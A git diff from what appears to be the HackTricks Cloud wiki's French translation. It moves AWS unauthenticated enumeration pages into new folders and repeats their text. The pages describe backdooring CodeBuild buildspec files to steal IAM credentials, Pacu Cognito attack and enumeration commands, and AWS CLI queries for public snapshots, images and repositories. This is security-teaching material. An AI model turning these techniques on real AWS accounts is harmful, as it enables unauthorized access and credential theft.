research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) et l'outil [**conditional-love**](https://github.com/plerionhq/conditional-love/) pour automatiser cette exploitation. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md deleted file mode 100644 index 210e52b3f..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Cloudfront Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Modèle d'URL public -``` -https://{random_id}.cloudfront.net -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md new file mode 100644 index 000000000..11678fd8c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Cloudfront Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Modèle d'URL publique +``` +https://{random_id}.cloudfront.net +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md deleted file mode 100644 index 47603cc32..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - Accès non authentifié à CodeBuild - -{{#include ../../../banners/hacktricks-training.md}} - -## CodeBuild - -Pour plus d'infos, consultez cette page : - -{{#ref}} -../aws-services/aws-codebuild-enum.md -{{#endref}} - -### buildspec.yml - -Si vous compromettez l'accès en écriture sur un dépôt contenant un fichier nommé **`buildspec.yml`**, vous pourriez **installer une porte dérobée** dans ce fichier, qui spécifie les **commandes qui vont être exécutées** à l'intérieur d'un projet CodeBuild et exfiltrer les secrets, compromettre ce qui est fait et également compromettre les **identifiants de rôle IAM CodeBuild**. - -Notez que même s'il n'y a pas de fichier **`buildspec.yml`**, mais que vous savez que Codebuild est utilisé (ou un autre CI/CD), **modifier un code légitime** qui va être exécuté peut également vous obtenir un shell inversé par exemple. - -Pour des informations connexes, vous pourriez consulter la page sur comment attaquer les Github Actions (similaire à cela) : - -{{#ref}} -../../../pentesting-ci-cd/github-security/abusing-github-actions/ -{{#endref}} - -## Runners GitHub Actions auto-hébergés dans AWS CodeBuild - -Comme [**indiqué dans la documentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), il est possible de configurer **CodeBuild** pour exécuter des **actions Github auto-hébergées** lorsqu'un workflow est déclenché à l'intérieur d'un dépôt Github configuré. Cela peut être détecté en vérifiant la configuration du projet CodeBuild car le **`Type d'événement`** doit contenir : **`WORKFLOW_JOB_QUEUED`** et dans un Workflow Github car il sélectionnera un runner **auto-hébergé** comme ceci : -```bash -runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} -``` -Cette nouvelle relation entre Github Actions et AWS crée une autre façon de compromettre AWS depuis Github, car le code dans Github s'exécutera dans un projet CodeBuild avec un rôle IAM attaché. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md new file mode 100644 index 000000000..6fa857621 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md @@ -0,0 +1,33 @@ +# AWS - CodeBuild Accès non authentifié + +{{#include ../../../../banners/hacktricks-training.md}} + +## CodeBuild + +Pour plus d'informations, consultez cette page : + +{{#ref}} +../../aws-services/aws-codebuild-enum.md +{{#endref}} + +### buildspec.yml + +Si vous compromettez l'accès en écriture à un dépôt contenant un fichier nommé **`buildspec.yml`**, vous pourriez **backdoor** ce fichier, qui spécifie les **commandes qui vont être exécutées** à l'intérieur d'un projet CodeBuild et exfiltrate les secrets, compromettre ce qui est fait et aussi compromettre les **CodeBuild IAM role credentials**. + +Notez que même s'il n'existe pas de fichier **`buildspec.yml`** mais que vous savez que Codebuild est utilisé (ou un CI/CD différent), **modifier du code légitime** qui va être exécuté peut aussi permettre d'obtenir, par exemple, un reverse shell. + +Pour des informations connexes, consultez la page expliquant comment attaquer Github Actions (similaire à ceci) : + +{{#ref}} +../../../../pentesting-ci-cd/github-security/abusing-github-actions/ +{{#endref}} + +## Self-hosted GitHub Actions runners dans AWS CodeBuild + +Comme [**indiqué dans la documentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), il est possible de configurer **CodeBuild** pour exécuter des **self-hosted Github actions** lorsqu'un workflow est déclenché dans un repo Github configuré. Cela peut être détecté en vérifiant la configuration du projet CodeBuild parce que le **`Event type`** doit contenir : **`WORKFLOW_JOB_QUEUED`** et dans un Github Workflow parce qu'il sélectionnera un runner **self-hosted** comme ceci : +```bash +runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} +``` +Cette nouvelle relation entre Github Actions et AWS crée un autre moyen de compromettre AWS depuis Github, car le code dans Github s'exécutera dans un projet CodeBuild avec un IAM role attaché. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md deleted file mode 100644 index ae85c3cb4..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ /dev/null @@ -1,44 +0,0 @@ -# AWS - Cognito Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Cognito non authentifié - -Cognito est un service AWS qui permet aux développeurs de **donner à leurs utilisateurs d'application accès aux services AWS**. Les développeurs accorderont **des rôles IAM aux utilisateurs authentifiés** dans leur application (potentiellement, les gens pourront simplement s'inscrire) et ils peuvent également accorder un **rôle IAM aux utilisateurs non authentifiés**. - -Pour des informations de base sur Cognito, consultez : - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### ID de Pool d'Identité - -Les Pools d'Identité peuvent accorder **des rôles IAM aux utilisateurs non authentifiés** qui **connaissent l'ID de Pool d'Identité** (ce qui est assez courant à **trouver**), et un attaquant avec cette information pourrait essayer d'**accéder à ce rôle IAM** et de l'exploiter.\ -De plus, des rôles IAM pourraient également être attribués à **des utilisateurs authentifiés** qui accèdent au Pool d'Identité. Si un attaquant peut **enregistrer un utilisateur** ou a déjà **accès au fournisseur d'identité** utilisé dans le pool d'identité, il pourrait accéder au **rôle IAM attribué aux utilisateurs authentifiés** et abuser de ses privilèges. - -[**Vérifiez comment faire cela ici**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). - -### ID de Pool d'Utilisateurs - -Par défaut, Cognito permet de **s'inscrire de nouveaux utilisateurs**. Être capable d'enregistrer un utilisateur pourrait vous donner **accès** à l'**application sous-jacente** ou au **rôle d'accès IAM authentifié d'un Pool d'Identité** qui accepte comme fournisseur d'identité le Pool d'Utilisateurs Cognito. [**Vérifiez comment faire cela ici**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). - -### Modules Pacu pour le pentesting et l'énumération - -[Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut maintenant les modules "cognito\_\_enum" et "cognito\_\_attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs d'utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisables modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans les jetons d'identité, etc. - -Pour une description des fonctions des modules, voir la partie 2 du [blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale [Pacu](https://github.com/RhinoSecurityLabs/pacu). - -#### Utilisation - -Exemple d'utilisation de `cognito__attack` pour tenter la création d'utilisateur et tous les vecteurs de privesc contre un pool d'identité et un client de pool d'utilisateurs donnés : -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -Exemple d'utilisation de cognito\_\_enum pour rassembler tous les groupes d'utilisateurs, les clients de groupes d'utilisateurs, les groupes d'identité, les utilisateurs, etc. visibles dans le compte AWS actuel : -```bash -Pacu (new:test) > run cognito__enum -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md new file mode 100644 index 000000000..b2353c87a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md @@ -0,0 +1,44 @@ +# AWS - Cognito Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Unauthenticated Cognito + +Cognito est un service AWS qui permet aux développeurs de donner à leurs utilisateurs d'application l'accès aux services AWS. Les développeurs attribuent des **IAM roles to authenticated users** dans leur application (potentiellement les gens pourront simplement s'inscrire) et ils peuvent aussi attribuer un **IAM role to unauthenticated users**. + +Pour des informations de base sur Cognito, consultez : + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Identity Pool ID + +Les Identity Pools peuvent accorder des **IAM roles to unauthenticated users** à des personnes qui se contentent de **know the Identity Pool ID** (ce qui est assez courant à **find**), et un attaquant disposant de cette information pourrait tenter de **access that IAM role** et l'exploiter. +De plus, des IAM roles peuvent aussi être assignés à des **authenticated users** qui accèdent à l'Identity Pool. Si un attaquant peut **register a user** ou a déjà **access to the identity provider** utilisé dans l'identity pool, il pourrait accéder au **IAM role being given to authenticated** users et abuser de ses privilèges. + +[**Voir comment faire ici**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md). + +### User Pool ID + +Par défaut, Cognito permet de **register new user**. Pouvoir enregistrer un utilisateur peut vous donner **access** à l'**underlaying application** ou au **authenticated IAM access role of an Identity Pool** qui accepte comme fournisseur d'identité le Cognito User Pool. [**Voir comment faire ici**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). + +### Pacu modules for pentesting and enumeration + +[Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut désormais les modules "cognito__enum" et "cognito__attack" qui automatisent l'enumeration de tous les Cognito assets dans un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent aussi la création d'utilisateurs (incluant le support MFA) et l'escalade de privilèges basée sur des attributs personnalisés modifiables, des usable identity pool credentials, des assumable roles dans les id tokens, etc. + +Pour une description des fonctions des modules, voyez la partie 2 du [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour les instructions d'installation, voyez la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu). + +#### Usage + +Exemple d'utilisation de `cognito__attack` pour tenter la création d'utilisateurs et tous les privesc vectors contre un identity pool et user pool client donnés: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +Exemple d'utilisation de cognito\_\_enum pour rassembler tous les user pools, user pool clients, identity pools, users, etc. visibles dans le compte AWS actuel: +```bash +Pacu (new:test) > run cognito__enum +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md deleted file mode 100644 index 029ef69ec..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - DocumentDB Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -### Modèle d'URL public -``` -.cluster-..docdb.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md new file mode 100644 index 000000000..e1e3146a4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md @@ -0,0 +1,9 @@ +# AWS - DocumentDB Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Modèle d'URL publique +``` +.cluster-..docdb.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md deleted file mode 100644 index ee1c2acfa..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ /dev/null @@ -1,15 +0,0 @@ -# AWS - Accès non authentifié à DynamoDB - -{{#include ../../../banners/hacktricks-training.md}} - -## Dynamo DB - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -À part donner accès à tous les comptes AWS ou à certains comptes AWS externes compromis, ou avoir des injections SQL dans une application qui communique avec DynamoDB, je ne connais pas d'autres options pour accéder aux comptes AWS depuis DynamoDB. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md new file mode 100644 index 000000000..248494ed7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md @@ -0,0 +1,15 @@ +# AWS - DynamoDB Accès non authentifié + +{{#include ../../../../banners/hacktricks-training.md}} + +## Dynamo DB + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +À part le fait de donner l'accès à l'ensemble d'AWS ou à un compte AWS externe compromis, ou d'exploiter des injections SQL dans une application qui communique avec DynamoDB, je ne connais pas d'autres options pour accéder aux comptes AWS via DynamoDB. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md index 62371a2f9..7802a1796 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md @@ -1,18 +1,18 @@ -# AWS - EC2 Enum non authentifié +# AWS - EC2 Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -## EC2 et services associés +## EC2 & services associés -Vérifiez sur cette page plus d'informations à ce sujet : +Check in this page more information about this: {{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} ### Ports publics -Il est possible d'exposer **n'importe quel port des machines virtuelles à Internet**. Selon **ce qui fonctionne** sur le port exposé, un attaquant pourrait en abuser. +Il est possible d'exposer **n'importe quel port des machines virtuelles sur Internet**. Selon **ce qui tourne** sur le port exposé, un attaquant pourrait l'exploiter. #### SSRF @@ -20,9 +20,9 @@ Il est possible d'exposer **n'importe quel port des machines virtuelles à Inter https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} -### AMIs publiques et snapshots EBS +### AMIs publics & EBS Snapshots -AWS permet de **donner accès à quiconque pour télécharger des AMIs et des snapshots**. Vous pouvez lister ces ressources très facilement depuis votre propre compte : +AWS permet de **permettre à n'importe qui de télécharger des AMIs et des Snapshots**. Vous pouvez lister ces ressources très facilement depuis votre propre compte: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -37,9 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -Si vous trouvez un instantané qui peut être restauré par quiconque, assurez-vous de consulter [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) pour des instructions sur le téléchargement et le pillage de l'instantané. +Si vous trouvez un snapshot restaurable par n'importe qui, assurez-vous de consulter [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) pour des instructions sur le downloading et le looting du snapshot. -#### Modèle d'URL public +#### Modèle d'URL publique ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -47,8 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` -### Énumérer les instances EC2 avec une IP publique +### Énumérer les instances EC2 avec adresse IP publique ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md deleted file mode 100644 index bb4ddd48d..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - ECR Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### Dépôts de registre publics (images) - -Comme mentionné dans la section Enum ECS, un registre public est **accessible par quiconque** utilise le format **`public.ecr.aws//`**. Si une URL de dépôt public est localisée par un attaquant, il pourrait **télécharger l'image et rechercher des informations sensibles** dans les métadonnées et le contenu de l'image. -```bash -aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text -``` -> [!WARNING] -> Cela pourrait également se produire dans des **registries privées** où une politique de registry ou une politique de repository **accorde l'accès par exemple à `"AWS": "*"`**. Quiconque ayant un compte AWS pourrait accéder à ce repo. - -### Énumérer le Repo Privé - -Les outils [**skopeo**](https://github.com/containers/skopeo) et [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) peuvent être utilisés pour lister les repositories accessibles à l'intérieur d'une registry privée. -```bash -# Get image names -skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' -crane ls | sed 's/ .*//' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md new file mode 100644 index 000000000..a36663ab6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md @@ -0,0 +1,30 @@ +# AWS - ECR Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Dépôts de registre publics (images) + +Comme mentionné dans la section ECS Enum, un registre public est **accessible par n'importe qui** et utilise le format **`public.ecr.aws//`**. Si l'URL d'un dépôt public est découverte par un attaquant, il pourrait **télécharger l'image et rechercher des informations sensibles** dans les métadonnées et le contenu de l'image. +```bash +aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text +``` +> [!WARNING] +> Ceci peut aussi se produire dans des private registries où une registry policy ou une repository policy **accorde l'accès, par exemple à `"AWS": "*"`**. Toute personne disposant d'un compte AWS pourrait accéder à ce repo. + +### Énumérer le Repo privé + +Les outils [**skopeo**](https://github.com/containers/skopeo) et [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) peuvent être utilisés pour lister les repositories accessibles dans un private registry. +```bash +# Get image names +skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' +crane ls | sed 's/ .*//' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md index 015dfe78f..be2a9186e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md @@ -1,18 +1,18 @@ -# AWS - ECS Enum non authentifié +# AWS - ECS Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## ECS Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-ecs-enum.md +../../aws-services/aws-ecs-enum.md {{#endref}} -### Groupe de sécurité ou équilibreur de charge accessible publiquement pour les services ECS +### Security Group ou Load Balancer accessibles publiquement pour les services ECS -Un groupe de sécurité mal configuré qui **permet le trafic entrant depuis Internet (0.0.0.0/0 ou ::/0)** vers les services Amazon ECS pourrait exposer les ressources AWS à des attaques. +Un security group mal configuré qui **autorise le trafic entrant depuis Internet (0.0.0.0/0 ou ::/0)** vers les services Amazon ECS peut exposer les ressources AWS à des attaques. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -20,4 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md deleted file mode 100644 index 17c42a833..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ /dev/null @@ -1,35 +0,0 @@ -# AWS - Elastic Beanstalk Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Pour plus d'informations, consultez : - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### Vulnérabilité Web - -Notez qu'en règle générale, les environnements Beanstalk ont le **Metadatav1 désactivé**. - -Le format des pages web Beanstalk est **`https://-env..elasticbeanstalk.com/`** - -### Règles de Groupe de Sécurité Insecure - -Des règles de groupe de sécurité mal configurées peuvent exposer les instances Elastic Beanstalk au public. **Des règles d'entrée trop permissives, telles que permettre le trafic de n'importe quelle adresse IP (0.0.0.0/0) sur des ports sensibles, peuvent permettre aux attaquants d'accéder à l'instance**. - -### Équilibreur de Charge Publiquement Accessible - -Si un environnement Elastic Beanstalk utilise un équilibreur de charge et que l'équilibreur de charge est configuré pour être accessible publiquement, les attaquants peuvent **envoyer des requêtes directement à l'équilibreur de charge**. Bien que cela ne pose pas de problème pour les applications web destinées à être accessibles publiquement, cela pourrait être un problème pour des applications ou environnements privés. - -### S3 Buckets Publiquement Accessibles - -Les applications Elastic Beanstalk sont souvent stockées dans des S3 buckets avant le déploiement. Si le S3 bucket contenant l'application est publiquement accessible, un attaquant pourrait **télécharger le code de l'application et rechercher des vulnérabilités ou des informations sensibles**. - -### Énumérer les Environnements Publics -```bash -aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md new file mode 100644 index 000000000..cee10f956 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md @@ -0,0 +1,35 @@ +# AWS - Elastic Beanstalk Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### Web vulnerability + +Notez que par défaut les environnements Beanstalk ont **Metadatav1 désactivé**. + +Le format des pages web Beanstalk est **`https://-env..elasticbeanstalk.com/`** + +### Insecure Security Group Rules + +Des règles de Security Group mal configurées peuvent exposer des instances Elastic Beanstalk au public. **Des règles d'ingress trop permissives, comme autoriser le trafic depuis n'importe quelle adresse IP (0.0.0.0/0) sur des ports sensibles, peuvent permettre à des attaquants d'accéder à l'instance**. + +### Publicly Accessible Load Balancer + +Si un environnement Elastic Beanstalk utilise un load balancer et que celui-ci est configuré comme accessible publiquement, des attaquants peuvent **envoyer des requêtes directement au load balancer**. Cela peut ne pas poser de problème pour des applications web destinées à être publiques, mais cela peut être problématique pour des applications ou environnements privés. + +### Publicly Accessible S3 Buckets + +Les applications Elastic Beanstalk sont souvent stockées dans des S3 buckets avant le déploiement. Si le S3 bucket contenant l'application est accessible publiquement, un attaquant pourrait **télécharger le code de l'application et rechercher des vulnérabilités ou des informations sensibles**. + +### Enumerate Public Environments +```bash +aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md deleted file mode 100644 index 37d77d6ec..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ /dev/null @@ -1,10 +0,0 @@ -# AWS - Elasticsearch Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -### Modèle d'URL public -``` -https://vpc-{user_provided}-[random].[region].es.amazonaws.com -https://search-{user_provided}-[random].[region].es.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md new file mode 100644 index 000000000..1c33b2f64 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md @@ -0,0 +1,10 @@ +# AWS - Elasticsearch Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Modèle d'URL publique +``` +https://vpc-{user_provided}-[random].[region].es.amazonaws.com +https://search-{user_provided}-[random].[region].es.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md 